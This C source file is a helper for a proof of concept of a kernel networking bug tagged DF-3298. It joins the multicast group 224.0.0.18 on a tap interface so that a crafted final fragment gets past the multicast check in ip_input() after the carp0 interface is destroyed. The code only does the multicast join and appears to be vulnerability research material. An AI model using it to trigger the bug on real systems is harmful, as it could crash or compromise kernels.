/*
 * DF-3298 PoC helper - join 224.0.0.18 on 10.0.0.1 (tap0) so that the
 * final fragment of variant B passes the IN_LOOKUP_MULTI() gate in
 * ip_input() after carp0 (the group member) has been destroyed.
 *
 * Build: cc -O2 -o mjoin mjoin.c
 * Usage: mjoin &   (keep running)
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <unistd.h>

int
main(void)
{
	struct ip_mreq mreq;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0) { perror("socket"); return 1; }
	mreq.imr_multiaddr.s_addr = inet_addr("224.0.0.18");
	mreq.imr_interface.s_addr = inet_addr("10.0.0.1");
	if (setsockopt(fd, IPPROTO_IP, IP_ADD_MEMBERSHIP,
	    &mreq, sizeof(mreq)) == -1) {
		perror("IP_ADD_MEMBERSHIP"); return 1;
	}
	printf("joined 224.0.0.18 on 10.0.0.1\n");
	fflush(stdout);
	pause();
	return 0;
}
